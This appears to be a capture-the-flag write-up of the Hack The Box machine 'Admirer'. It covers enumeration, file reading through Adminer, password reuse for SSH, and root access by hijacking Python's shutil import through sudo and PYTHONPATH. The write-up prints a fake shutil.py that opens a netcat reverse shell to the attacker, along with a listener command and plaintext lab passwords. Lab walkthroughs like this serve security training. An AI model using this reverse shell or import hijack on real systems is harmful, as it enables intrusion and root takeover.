$ nmap -Pn -A -T4 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-05 21:49 CEST
Nmap scan report for
Host is up (0.014s latency).
Not shown: 65532 closed ports
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.67 seconds

3 low ports appeared after the Nmap scan : 21 (FTP), 22 (SSH) and 80 (HTTP).
Usually I’m starting with FTP because there could be interesting files in it but unfortunatly anonymous user isn’t valid.
I decided to look at the web service side.

Home page

Home page



Web page looked pretty simple so I made more advanced scans. First I checked if there was a robots.txt. This file usually contains instructions for bots. “Disallow” instructions are the more interesting ones.


User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

Looks like there was a “Disallow” instruction and moreover the directory was admin-dir :) Sounds to be a good lead. Unluckily I got an error “403 Forbidden” when trying to access its content. I had to use a well-known tool called gobuster to bruteforce directory content.

gobuster -u -w /home/atsika/wordlists/common.txt

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /home/atsika/wordlists/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
2020/05/06 20:02:13 Starting gobuster
/contact.txt (Status: 200)
/credentials.txt (Status: 200)
2020/05/06 20:10:25 Finished


# admins #
# Penny
Email: p.wise@admirer.htb

# developers #
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

# designers #
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb


[Internal mail account]

[FTP account]

[Wordpress account]


Credentials found previously allowed me to connect to the FTP with ftpuser.



I grabbed both the archive and the sql dump on my machine to analyze them. The dump was really interesting. I only got the MariaDB version and information about pictures on the home page (nothing exploitable).
The archive contained much more information (too much maybe). There were a lot of credentials (bank account, mail, wordpress logins, …). I found database credentials in index.php but since my nmap scan didn’t reveal any databse port (like 3306 for example) I didn’t found a good way to exploit them.
Few more php files in the utility-scripts. admin-task.php seemed to be the way to gain access to the server.

<h3>Admin Tasks Web Interface (v0.01 beta)</h3>
  // Web Interface to the admin_tasks script
    $task = $_REQUEST['task'];
    if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
       $task == '5' || $task == '6' || $task == '7')
         Available options:
           1) View system uptime
           2) View logged in users
           3) View crontab (current user only)
           4) Backup passwd file (not working)
           5) Backup shadow file (not working)
           6) Backup web data (not working)
           7) Backup database (not working)

           NOTE: Options 4-7 are currently NOT working because they need root privileges.
                 I'm leaving them in the valid tasks in case I figure out a way
                 to securely run code as root from a PHP page.
      echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
      echo("Invalid task.");

However it was impossible to inject any kind of command here since the input was filtered. After this I found even more credentials in db_admin.php.

  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  echo "Connected successfully";

  // TODO: Finish implementing this or find a better open source alternative

This page didn’t exist when I tried to access it.

At this point I found a lot of credentials and I decided to try to bruteforce SSH.
It failed badly.
I read every file I found and something appeared to me.

TODO: Finish implementing this or find a better open source alternative

If I couldn’t access db_admin.php this could only mean that the developper found “a better open source alternative”.
Actually first time I read box name I tought it was “AdmiNer” then my friend told me “Bro it’s AdmiRer not AdmiNer” and I was like “Oh …”.
I thinked again and tought that this could be a play on words. I used by the past a tool called Adminer to manage easily small databases.

Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a single file ready to deploy to the target server. Adminer is available for MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB 1.

I hadn’t anything to lose so I just tried

Adminer login page

Adminer login page

“Hey bro, I was right I guess …”



First thing I’ve done when I found this page was to try every logins I collected so far. None of them worked.
It was obvious that it was something about Adminer. So I stated exploits for this specific version (4.6.2). After some time, I found an article revealing a huge vulnerability in Adminer up to version 4.6.2 (included). Basically all I had to do was to set a mysql-server on my machine, create a database, create a table with a single column, login to my database on the victim’s Adminer and from there I could dump any local file.

create database exploit;
use exploit;
create table dmp(content varchar(5000));
Dump index.php

Dump index.php

Again some credentials for database. However a lot of people are using same password for multiple things. waldo was one of them. I could connect to SSH using his username and password &<h5b~yK3F#{PaPB&dA}{H>

╭─atsika@debian ~ 
╰─$ ssh waldo@
waldo@'s password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed May  6 22:31:02 2020 from

Privilege Escalation

I’m now logged as waldo and next step is to get root. Basic thing to do when logged is enumeration by the way so here we go again …
First looking at sudo -l revealed me that waldo could execute /opt/scripts/admin_tasks.sh as root. Interesting. After analyzing the script, something caught my attention.

    if [ "$EUID" -eq 0 ]
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
        echo "Insufficient privileges to perform the selected operation."

This part of the script was calling a python script in the same directory.


from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

Since admin_tasks.sh could be executed as root, calling backup.py from it would result in same elevated privileges. Hovewer there were no paramaters I could pass to the script to change its behaviour.
That’s what I thought …
Thanks to léco for sharing with me his idea of changing the python’s import. I discovered (while reading this) that I could change path where python will look for shutil. So if I change this path and create “my own shutil” I would be able to make this script execute anything I want (a root shell maybe ?).
First I needed to create my own shutil.py with the “make_archive” function (because this is what is imported).

import os 

def make_archive(a, b, c): # need 3 paramaters like the real function even if they won't be used
	os.system('nc 4444 -e "/bin/sh"')

Now I guess you understood what I did there. In case you didn’t, I used the os module so I can call system function and then execute any command. In this case I decided to start a reverse shell using nc.
Ì set up a listener on my machine and just executed the script (without forgeting to change PYTHONPATH so python would look for shutil first in the directory I specified him) to get a root shell :)

╭─atsika@debian ~ 
╰─$ nc -lvnp 4444
listening on [any] 4444 ...
$ sudo PYTHONPATH=/tmp/fakeshutil /opt/scripts/admin_tasks.sh
Root shell

Root shell


This was a very nice box. Enumeration was a point I really wanted to practice and this was a perfect opportunity. There were a lot of rabbit holes and I had to find what information were relevant and what not.
I also discoverd a new technique of privilege escalation using python hijacking (in fact it’s a privilege escalation because sudo was used there but still nice technique).
Shoutout to léco ! You can find his Admirer writeup in french right here.